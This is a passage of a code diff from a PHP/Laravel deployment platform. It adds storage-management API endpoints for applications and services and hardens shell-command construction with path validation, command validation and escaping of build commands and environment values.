$storage->mount_path = $request->mount_path;
}
if ($request->has('host_path')) {
$storage->host_path = $request->host_path;
}
} else {
if ($request->has('mount_path')) {
$storage->mount_path = $request->mount_path;
}
if ($request->has('content')) {
$storage->content = $request->content;
}
}
}
$storage->save();
return response()->json($storage);
}
#[OA\Post(
summary: 'Create Storage',
description: 'Create a persistent storage or file storage for an application.',
path: '/applications/{uuid}/storages',
operationId: 'create-storage-by-application-uuid',
security: [
['bearerAuth' => []],
],
tags: ['Applications'],
parameters: [
new OA\Parameter(
name: 'uuid',
in: 'path',
description: 'UUID of the application.',
required: true,
schema: new OA\Schema(type: 'string')
),
],
requestBody: new OA\RequestBody(
required: true,
content: [
new OA\MediaType(
mediaType: 'application/json',
schema: new OA\Schema(
type: 'object',
required: ['type', 'mount_path'],
properties: [
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'],
'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'],
'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'],
'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'],
'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'],
'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'],
'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'],
],
additionalProperties: false,
),
),
],
),
responses: [
new OA\Response(
response: 201,
description: 'Storage created.',
content: new OA\JsonContent(type: 'object'),
),
new OA\Response(response: 401, ref: '#/components/responses/401'),
new OA\Response(response: 400, ref: '#/components/responses/400'),
new OA\Response(response: 404, ref: '#/components/responses/404'),
new OA\Response(response: 422, ref: '#/components/responses/422'),
]
)]
public function create_storage(Request $request): JsonResponse
{
$teamId = getTeamIdFromToken();
if (is_null($teamId)) {
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
if ($return instanceof JsonResponse) {
return $return;
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
if (! $application) {
return response()->json(['message' => 'Application not found.'], 404);
}
$this->authorize('update', $application);
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
'name' => 'string',
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
'is_directory' => 'boolean',
'fs_path' => 'string',
]);
$allAllowedFields = ['type', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path'];
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
if ($validator->fails() || ! empty($extraFields)) {
$errors = $validator->errors();
if (! empty($extraFields)) {
foreach ($extraFields as $field) {
$errors->add($field, 'This field is not allowed.');
}
}
return response()->json([
'message' => 'Validation failed.',
'errors' => $errors,
], 422);
}
if ($request->type === 'persistent') {
if (! $request->name) {
return response()->json([
'message' => 'Validation failed.',
'errors' => ['name' => 'The name field is required for persistent storages.'],
], 422);
}
$typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all()));
if (! empty($typeSpecificInvalidFields)) {
return response()->json([
'message' => 'Validation failed.',
'errors' => collect($typeSpecificInvalidFields)
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]),
], 422);
}
$storage = LocalPersistentVolume::create([
'name' => $application->uuid.'-'.$request->name,
'mount_path' => $request->mount_path,
'host_path' => $request->host_path,
'resource_id' => $application->id,
'resource_type' => $application->getMorphClass(),
]);
return response()->json($storage, 201);
}
// File storage
$typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all()));
if (! empty($typeSpecificInvalidFields)) {
return response()->json([
'message' => 'Validation failed.',
'errors' => collect($typeSpecificInvalidFields)
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]),
], 422);
}
$isDirectory = $request->boolean('is_directory', false);
if ($isDirectory) {
if (! $request->fs_path) {
return response()->json([
'message' => 'Validation failed.',
'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'],
], 422);
}
$fsPath = str($request->fs_path)->trim()->start('/')->value();
$mountPath = str($request->mount_path)->trim()->start('/')->value();
validateShellSafePath($fsPath, 'storage source path');
validateShellSafePath($mountPath, 'storage destination path');
$storage = LocalFileVolume::create([
'fs_path' => $fsPath,
'mount_path' => $mountPath,
'is_directory' => true,
'resource_id' => $application->id,
'resource_type' => get_class($application),
]);
} else {
$mountPath = str($request->mount_path)->trim()->start('/')->value();
$fsPath = application_configuration_dir().'/'.$application->uuid.$mountPath;
$storage = LocalFileVolume::create([
'fs_path' => $fsPath,
'mount_path' => $mountPath,
'content' => $request->content,
'is_directory' => false,
'resource_id' => $application->id,
'resource_type' => get_class($application),
]);
}
return response()->json($storage, 201);
}
#[OA\Delete(
summary: 'Delete Storage',
description: 'Delete a persistent storage or file storage by application UUID.',
path: '/applications/{uuid}/storages/{storage_uuid}',
operationId: 'delete-storage-by-application-uuid',
security: [
['bearerAuth' => []],
],
tags: ['Applications'],
parameters: [
new OA\Parameter(
name: 'uuid',
in: 'path',
description: 'UUID of the application.',
required: true,
schema: new OA\Schema(type: 'string')
),
new OA\Parameter(
name: 'storage_uuid',
in: 'path',
description: 'UUID of the storage.',
required: true,
schema: new OA\Schema(type: 'string')
),
],
responses: [
new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent(
properties: [new OA\Property(property: 'message', type: 'string')],
)),
new OA\Response(response: 401, ref: '#/components/responses/401'),
new OA\Response(response: 400, ref: '#/components/responses/400'),
new OA\Response(response: 404, ref: '#/components/responses/404'),
new OA\Response(response: 422, ref: '#/components/responses/422'),
]
)]
public function delete_storage(Request $request): JsonResponse
{
$teamId = getTeamIdFromToken();
if (is_null($teamId)) {
return invalidTokenResponse();
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
if (! $application) {
return response()->json(['message' => 'Application not found.'], 404);
}
$this->authorize('update', $application);
$storageUuid = $request->route('storage_uuid');
$storage = $application->persistentStorages->where('uuid', $storageUuid)->first();
if (! $storage) {
$storage = $application->fileStorages->where('uuid', $storageUuid)->first();
}
if (! $storage) {
return response()->json(['message' => 'Storage not found.'], 404);
}
if ($storage->shouldBeReadOnlyInUI()) {
return response()->json([
'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.',
], 422);
}
if ($storage instanceof LocalFileVolume) {
$storage->deleteStorageOnServer();
}
$storage->delete();
return response()->json(['message' => 'Storage deleted.']);
}
}

File diff suppressed because it is too large Load diff

View file

@ -586,7 +586,8 @@ public function createServer(Request $request)
}
// Check server limit
if (Team::serverLimitReached()) {
$team = Team::find($teamId);
if (Team::serverLimitReached($team)) {
return response()->json(['message' => 'Server limit reached for your subscription.'], 400);
}

View file

@ -8,9 +8,12 @@
use App\Http\Controllers\Controller;
use App\Jobs\DeleteResourceJob;
use App\Models\EnvironmentVariable;
use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use OpenApi\Attributes as OA;
@ -1207,7 +1210,7 @@ public function update_env_by_uuid(Request $request)
return invalidTokenResponse();
}
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
if (! $service) {
return response()->json(['message' => 'Service not found.'], 404);
}
@ -1342,7 +1345,7 @@ public function create_bulk_envs(Request $request)
return invalidTokenResponse();
}
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
if (! $service) {
return response()->json(['message' => 'Service not found.'], 404);
}
@ -1362,6 +1365,7 @@ public function create_bulk_envs(Request $request)
'is_literal' => 'boolean',
'is_multiline' => 'boolean',
'is_shown_once' => 'boolean',
'comment' => 'string|nullable|max:256',
]);
if ($validator->fails()) {
@ -1461,7 +1465,7 @@ public function create_env(Request $request)
return invalidTokenResponse();
}
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
if (! $service) {
return response()->json(['message' => 'Service not found.'], 404);
}
@ -1570,14 +1574,14 @@ public function delete_env_by_uuid(Request $request)
return invalidTokenResponse();
}
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
if (! $service) {
return response()->json(['message' => 'Service not found.'], 404);
}
$this->authorize('manageEnvironment', $service);
$env = EnvironmentVariable::where('uuid', $request->env_uuid)
$env = EnvironmentVariable::where('uuid', $request->route('env_uuid'))
->where('resourceable_type', Service::class)
->where('resourceable_id', $service->id)
->first();
@ -1848,4 +1852,606 @@ public function action_restart(Request $request)
200
);
}
#[OA\Get(
summary: 'List Storages',
description: 'List all persistent storages and file storages by service UUID.',
path: '/services/{uuid}/storages',
operationId: 'list-storages-by-service-uuid',
security: [
['bearerAuth' => []],
],
tags: ['Services'],
parameters: [
new OA\Parameter(
name: 'uuid',
in: 'path',
description: 'UUID of the service.',
required: true,
schema: new OA\Schema(
type: 'string',
)
),
],
responses: [
new OA\Response(
response: 200,
description: 'All storages by service UUID.',
content: new OA\JsonContent(
properties: [
new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')),
new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')),
],
),
),
new OA\Response(
response: 401,
ref: '#/components/responses/401',
),
new OA\Response(
response: 400,
ref: '#/components/responses/400',
),
new OA\Response(
response: 404,
ref: '#/components/responses/404',
),
]
)]
public function storages(Request $request): JsonResponse
{
$teamId = getTeamIdFromToken();
if (is_null($teamId)) {
return invalidTokenResponse();
}
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
if (! $service) {
return response()->json([
'message' => 'Service not found.',
], 404);
}
$this->authorize('view', $service);
$persistentStorages = collect();
$fileStorages = collect();
foreach ($service->applications as $app) {
$persistentStorages = $persistentStorages->merge(
$app->persistentStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $app->uuid)->setAttribute('resource_type', 'application'))
);
$fileStorages = $fileStorages->merge(
$app->fileStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $app->uuid)->setAttribute('resource_type', 'application'))
);
}
foreach ($service->databases as $db) {
$persistentStorages = $persistentStorages->merge(
$db->persistentStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $db->uuid)->setAttribute('resource_type', 'database'))
);
$fileStorages = $fileStorages->merge(
$db->fileStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $db->uuid)->setAttribute('resource_type', 'database'))
);
}
return response()->json([
'persistent_storages' => $persistentStorages->sortBy('id')->values(),
'file_storages' => $fileStorages->sortBy('id')->values(),
]);
}
#[OA\Post(
summary: 'Create Storage',
description: 'Create a persistent storage or file storage for a service sub-resource.',
path: '/services/{uuid}/storages',
operationId: 'create-storage-by-service-uuid',
security: [
['bearerAuth' => []],
],
tags: ['Services'],
parameters: [
new OA\Parameter(
name: 'uuid',
in: 'path',
description: 'UUID of the service.',
required: true,
schema: new OA\Schema(type: 'string')
),
],
requestBody: new OA\RequestBody(
required: true,
content: [
new OA\MediaType(
mediaType: 'application/json',
schema: new OA\Schema(
type: 'object',
required: ['type', 'mount_path', 'resource_uuid'],
properties: [
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'],
'resource_uuid' => ['type' => 'string', 'description' => 'UUID of the service application or database sub-resource.'],
'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'],
'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'],
'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'],
'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'],
'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'],
'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'],
],
additionalProperties: false,
),
),
],
),
responses: [
new OA\Response(
response: 201,
description: 'Storage created.',
content: new OA\JsonContent(type: 'object'),
),
new OA\Response(response: 401, ref: '#/components/responses/401'),
new OA\Response(response: 400, ref: '#/components/responses/400'),
new OA\Response(response: 404, ref: '#/components/responses/404'),
new OA\Response(response: 422, ref: '#/components/responses/422'),
]
)]
public function create_storage(Request $request): JsonResponse
{
$teamId = getTeamIdFromToken();
if (is_null($teamId)) {
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
if ($return instanceof JsonResponse) {
return $return;
}
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
if (! $service) {
return response()->json(['message' => 'Service not found.'], 404);
}
$this->authorize('update', $service);
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
'resource_uuid' => 'required|string',
'name' => 'string',
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
'is_directory' => 'boolean',
'fs_path' => 'string',
]);
$allAllowedFields = ['type', 'resource_uuid', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path'];
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
if ($validator->fails() || ! empty($extraFields)) {
$errors = $validator->errors();
if (! empty($extraFields)) {
foreach ($extraFields as $field) {
$errors->add($field, 'This field is not allowed.');
}
}
return response()->json([
'message' => 'Validation failed.',
'errors' => $errors,
], 422);
}
$subResource = $service->applications()->where('uuid', $request->resource_uuid)->first();
if (! $subResource) {
$subResource = $service->databases()->where('uuid', $request->resource_uuid)->first();
}
if (! $subResource) {
return response()->json(['message' => 'Service resource not found.'], 404);
}
if ($request->type === 'persistent') {
if (! $request->name) {
return response()->json([
'message' => 'Validation failed.',
'errors' => ['name' => 'The name field is required for persistent storages.'],
], 422);
}
$typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all()));
if (! empty($typeSpecificInvalidFields)) {
return response()->json([
'message' => 'Validation failed.',
'errors' => collect($typeSpecificInvalidFields)
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]),
], 422);
}
$storage = LocalPersistentVolume::create([
'name' => $subResource->uuid.'-'.$request->name,
'mount_path' => $request->mount_path,
'host_path' => $request->host_path,
'resource_id' => $subResource->id,
'resource_type' => $subResource->getMorphClass(),
]);
return response()->json($storage, 201);
}
// File storage
$typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all()));
if (! empty($typeSpecificInvalidFields)) {
return response()->json([
'message' => 'Validation failed.',
'errors' => collect($typeSpecificInvalidFields)
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]),
], 422);
}
$isDirectory = $request->boolean('is_directory', false);
if ($isDirectory) {
if (! $request->fs_path) {
return response()->json([
'message' => 'Validation failed.',
'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'],
], 422);
}
$fsPath = str($request->fs_path)->trim()->start('/')->value();
$mountPath = str($request->mount_path)->trim()->start('/')->value();
validateShellSafePath($fsPath, 'storage source path');
validateShellSafePath($mountPath, 'storage destination path');
$storage = LocalFileVolume::create([
'fs_path' => $fsPath,
'mount_path' => $mountPath,
'is_directory' => true,
'resource_id' => $subResource->id,
'resource_type' => get_class($subResource),
]);
} else {
$mountPath = str($request->mount_path)->trim()->start('/')->value();
$fsPath = service_configuration_dir().'/'.$service->uuid.$mountPath;
$storage = LocalFileVolume::create([
'fs_path' => $fsPath,
'mount_path' => $mountPath,
'content' => $request->content,
'is_directory' => false,
'resource_id' => $subResource->id,
'resource_type' => get_class($subResource),
]);
}
return response()->json($storage, 201);
}
#[OA\Patch(
summary: 'Update Storage',
description: 'Update a persistent storage or file storage by service UUID.',
path: '/services/{uuid}/storages',
operationId: 'update-storage-by-service-uuid',
security: [
['bearerAuth' => []],
],
tags: ['Services'],
parameters: [
new OA\Parameter(
name: 'uuid',
in: 'path',
description: 'UUID of the service.',
required: true,
schema: new OA\Schema(
type: 'string',
)
),
],
requestBody: new OA\RequestBody(
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.',
required: true,
content: [
new OA\MediaType(
mediaType: 'application/json',
schema: new OA\Schema(
type: 'object',
required: ['type'],
properties: [
'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'],
'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'],
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'],
'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'],
'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'],
'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'],
'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'],
'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'],
],
additionalProperties: false,
),
),
],
),
responses: [
new OA\Response(
response: 200,
description: 'Storage updated.',
content: new OA\JsonContent(type: 'object'),
),
new OA\Response(
response: 401,
ref: '#/components/responses/401',
),
new OA\Response(
response: 400,
ref: '#/components/responses/400',
),
new OA\Response(
response: 404,
ref: '#/components/responses/404',
),
new OA\Response(
response: 422,
ref: '#/components/responses/422',
),
]
)]
public function update_storage(Request $request): JsonResponse
{
$teamId = getTeamIdFromToken();
if (is_null($teamId)) {
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
if ($return instanceof JsonResponse) {
return $return;
}
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
if (! $service) {
return response()->json([
'message' => 'Service not found.',
], 404);
}
$this->authorize('update', $service);
$validator = customApiValidator($request->all(), [
'uuid' => 'string',
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
'name' => 'string',
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
]);
$allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content'];
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
if ($validator->fails() || ! empty($extraFields)) {
$errors = $validator->errors();
if (! empty($extraFields)) {
foreach ($extraFields as $field) {
$errors->add($field, 'This field is not allowed.');
}
}
return response()->json([
'message' => 'Validation failed.',
'errors' => $errors,
], 422);
}
$storageUuid = $request->input('uuid');
$storageId = $request->input('id');
if (! $storageUuid && ! $storageId) {
return response()->json([
'message' => 'Validation failed.',
'errors' => ['uuid' => 'Either uuid or id is required.'],
], 422);
}
$lookupField = $storageUuid ? 'uuid' : 'id';
$lookupValue = $storageUuid ?? $storageId;
$storage = null;
if ($request->type === 'persistent') {
foreach ($service->applications as $app) {
$storage = $app->persistentStorages->where($lookupField, $lookupValue)->first();
if ($storage) {
break;
}
}
if (! $storage) {
foreach ($service->databases as $db) {
$storage = $db->persistentStorages->where($lookupField, $lookupValue)->first();
if ($storage) {
break;
}
}
}
} else {
foreach ($service->applications as $app) {
$storage = $app->fileStorages->where($lookupField, $lookupValue)->first();
if ($storage) {
break;
}
}
if (! $storage) {
foreach ($service->databases as $db) {
$storage = $db->fileStorages->where($lookupField, $lookupValue)->first();
if ($storage) {
break;
}
}
}
}
if (! $storage) {
return response()->json([
'message' => 'Storage not found.',
], 404);
}
$isReadOnly = $storage->shouldBeReadOnlyInUI();
$editableOnlyFields = ['name', 'mount_path', 'host_path', 'content'];
$requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all()));
if ($isReadOnly && ! empty($requestedEditableFields)) {
return response()->json([
'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.',
'read_only_fields' => array_values($requestedEditableFields),
], 422);
}
// Reject fields that don't apply to the given storage type
if (! $isReadOnly) {
$typeSpecificInvalidFields = $request->type === 'persistent'
? array_intersect(['content'], array_keys($request->all()))
: array_intersect(['name', 'host_path'], array_keys($request->all()));
if (! empty($typeSpecificInvalidFields)) {
return response()->json([
'message' => 'Validation failed.',
'errors' => collect($typeSpecificInvalidFields)
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]),
], 422);
}
}
// Always allowed
if ($request->has('is_preview_suffix_enabled')) {
$storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled;
}
// Only for editable storages
if (! $isReadOnly) {
if ($request->type === 'persistent') {
if ($request->has('name')) {
$storage->name = $request->name;
}
if ($request->has('mount_path')) {
$storage->mount_path = $request->mount_path;
}
if ($request->has('host_path')) {
$storage->host_path = $request->host_path;
}
} else {
if ($request->has('mount_path')) {
$storage->mount_path = $request->mount_path;
}
if ($request->has('content')) {
$storage->content = $request->content;
}
}
}
$storage->save();
return response()->json($storage);
}
#[OA\Delete(
summary: 'Delete Storage',
description: 'Delete a persistent storage or file storage by service UUID.',
path: '/services/{uuid}/storages/{storage_uuid}',
operationId: 'delete-storage-by-service-uuid',
security: [
['bearerAuth' => []],
],
tags: ['Services'],
parameters: [
new OA\Parameter(
name: 'uuid',
in: 'path',
description: 'UUID of the service.',
required: true,
schema: new OA\Schema(type: 'string')
),
new OA\Parameter(
name: 'storage_uuid',
in: 'path',
description: 'UUID of the storage.',
required: true,
schema: new OA\Schema(type: 'string')
),
],
responses: [
new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent(
properties: [new OA\Property(property: 'message', type: 'string')],
)),
new OA\Response(response: 401, ref: '#/components/responses/401'),
new OA\Response(response: 400, ref: '#/components/responses/400'),
new OA\Response(response: 404, ref: '#/components/responses/404'),
new OA\Response(response: 422, ref: '#/components/responses/422'),
]
)]
public function delete_storage(Request $request): JsonResponse
{
$teamId = getTeamIdFromToken();
if (is_null($teamId)) {
return invalidTokenResponse();
}
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
if (! $service) {
return response()->json(['message' => 'Service not found.'], 404);
}
$this->authorize('update', $service);
$storageUuid = $request->route('storage_uuid');
$storage = null;
foreach ($service->applications as $app) {
$storage = $app->persistentStorages->where('uuid', $storageUuid)->first();
if ($storage) {
break;
}
}
if (! $storage) {
foreach ($service->databases as $db) {
$storage = $db->persistentStorages->where('uuid', $storageUuid)->first();
if ($storage) {
break;
}
}
}
if (! $storage) {
foreach ($service->applications as $app) {
$storage = $app->fileStorages->where('uuid', $storageUuid)->first();
if ($storage) {
break;
}
}
}
if (! $storage) {
foreach ($service->databases as $db) {
$storage = $db->fileStorages->where('uuid', $storageUuid)->first();
if ($storage) {
break;
}
}
}
if (! $storage) {
return response()->json(['message' => 'Storage not found.'], 404);
}
if ($storage->shouldBeReadOnlyInUI()) {
return response()->json([
'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.',
], 422);
}
if ($storage instanceof LocalFileVolume) {
$storage->deleteStorageOnServer();
}
$storage->delete();
return response()->json(['message' => 'Storage deleted.']);
}
}

View file

@ -55,6 +55,9 @@ public function manual(Request $request)
$after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha'));
$author_association = data_get($payload, 'pull_request.author_association');
}
if (! in_array($x_github_event, ['push', 'pull_request'])) {
return response("Nothing to do. Event '$x_github_event' is not supported.");
}
if (! $branch) {
return response('Nothing to do. No branch found in the request.');
}
@ -246,6 +249,9 @@ public function normal(Request $request)
$after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha'));
$author_association = data_get($payload, 'pull_request.author_association');
}
if (! in_array($x_github_event, ['push', 'pull_request'])) {
return response("Nothing to do. Event '$x_github_event' is not supported.");
}
if (! $id || ! $branch) {
return response('Nothing to do. No id or branch found.');
}

View file

@ -223,7 +223,11 @@ public function __construct(public int $application_deployment_queue_id)
$this->preserveRepository = $this->application->settings->is_preserve_repository_enabled;
$this->basedir = $this->application->generateBaseDir($this->deployment_uuid);
$this->workdir = "{$this->basedir}".rtrim($this->application->base_directory, '/');
$baseDir = $this->application->base_directory;
if ($baseDir && $baseDir !== '/') {
$this->validatePathField($baseDir, 'base_directory');
}
$this->workdir = "{$this->basedir}".rtrim($baseDir, '/');
$this->configuration_dir = application_configuration_dir()."/{$this->application->uuid}";
$this->is_debug_enabled = $this->application->settings->is_debug_enabled;
@ -312,7 +316,11 @@ public function handle(): void
}
if ($this->application->dockerfile_target_build) {
$this->buildTarget = " --target {$this->application->dockerfile_target_build} ";
$target = $this->application->dockerfile_target_build;
if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) {
throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.');
}
$this->buildTarget = " --target {$target} ";
}
// Check custom port
@ -571,6 +579,7 @@ private function deploy_docker_compose_buildpack()
$this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location');
}
if (data_get($this->application, 'docker_compose_custom_start_command')) {
$this->validateShellSafeCommand($this->application->docker_compose_custom_start_command, 'docker_compose_custom_start_command');
$this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command;
if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) {
$projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir;
@ -578,6 +587,7 @@ private function deploy_docker_compose_buildpack()
}
}
if (data_get($this->application, 'docker_compose_custom_build_command')) {
$this->validateShellSafeCommand($this->application->docker_compose_custom_build_command, 'docker_compose_custom_build_command');
$this->docker_compose_custom_build_command = $this->application->docker_compose_custom_build_command;
if (! str($this->docker_compose_custom_build_command)->contains('--project-directory')) {
$this->docker_compose_custom_build_command = str($this->docker_compose_custom_build_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value();
@ -1103,10 +1113,21 @@ private function generate_image_names()
private function just_restart()
{
$this->application_deployment_queue->addLogEntry("Restarting {$this->customRepository}:{$this->application->git_branch} on {$this->server->name}.");
// Restart doesn't need the build server — disable it so the helper container
// is created on the deployment server with the correct network/flags.
$originalUseBuildServer = $this->use_build_server;
$this->use_build_server = false;
$this->prepare_builder_image();
$this->check_git_if_build_needed();
$this->generate_image_names();
$this->check_image_locally_or_remotely();
// Restore before should_skip_build() — it may re-enter decide_what_to_do()
// for a full rebuild which needs the build server.
$this->use_build_server = $originalUseBuildServer;
$this->should_skip_build();
$this->completeDeployment();
}
@ -2313,13 +2334,13 @@ private function nixpacks_build_cmd()
$this->generate_nixpacks_env_variables();
$nixpacks_command = "nixpacks plan -f json {$this->env_nixpacks_args}";
if ($this->application->build_command) {
$nixpacks_command .= " --build-cmd \"{$this->application->build_command}\"";
$nixpacks_command .= ' --build-cmd '.escapeShellValue($this->application->build_command);
}
if ($this->application->start_command) {
$nixpacks_command .= " --start-cmd \"{$this->application->start_command}\"";
$nixpacks_command .= ' --start-cmd '.escapeShellValue($this->application->start_command);
}
if ($this->application->install_command) {
$nixpacks_command .= " --install-cmd \"{$this->application->install_command}\"";
$nixpacks_command .= ' --install-cmd '.escapeShellValue($this->application->install_command);
}
$nixpacks_command .= " {$this->workdir}";
@ -2332,13 +2353,15 @@ private function generate_nixpacks_env_variables()
if ($this->pull_request_id === 0) {
foreach ($this->application->nixpacks_environment_variables as $env) {
if (! is_null($env->real_value) && $env->real_value !== '') {
$this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}");
$value = ($env->is_literal || $env->is_multiline) ? trim($env->real_value, "'") : $env->real_value;
$this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}"));
}
}
} else {
foreach ($this->application->nixpacks_environment_variables_preview as $env) {
if (! is_null($env->real_value) && $env->real_value !== '') {
$this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}");
$value = ($env->is_literal || $env->is_multiline) ? trim($env->real_value, "'") : $env->real_value;
$this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}"));
}
}
}
@ -2348,7 +2371,7 @@ private function generate_nixpacks_env_variables()
$coolify_envs->each(function ($value, $key) {
// Only add environment variables with non-null and non-empty values
if (! is_null($value) && $value !== '') {
$this->env_nixpacks_args->push("--env {$key}={$value}");
$this->env_nixpacks_args->push('--env '.escapeShellValue("{$key}={$value}"));
}
});
@ -2745,7 +2768,8 @@ private function generate_local_persistent_volumes()
} else {
$volume_name = $persistentStorage->name;
}
if ($this->pull_request_id !== 0) {
$isPreviewSuffixEnabled = (bool) data_get($persistentStorage, 'is_preview_suffix_enabled', true);
if ($this->pull_request_id !== 0 && $isPreviewSuffixEnabled) {
$volume_name = addPreviewDeploymentSuffix($volume_name, $this->pull_request_id);
}
$local_persistent_volumes[] = $volume_name.':'.$persistentStorage->mount_path;
@ -2763,7 +2787,8 @@ private function generate_local_persistent_volumes_only_volume_names()
}
$name = $persistentStorage->name;
if ($this->pull_request_id !== 0) {
$isPreviewSuffixEnabled = (bool) data_get($persistentStorage, 'is_preview_suffix_enabled', true);
if ($this->pull_request_id !== 0 && $isPreviewSuffixEnabled) {
$name = addPreviewDeploymentSuffix($name, $this->pull_request_id);
}
@ -2781,9 +2806,15 @@ private function generate_healthcheck_commands()
// Handle CMD type healthcheck
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
$command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command);
$this->full_healthcheck_url = $command;
return $command;
// Defense in depth: validate command at runtime (matches input validation regex)
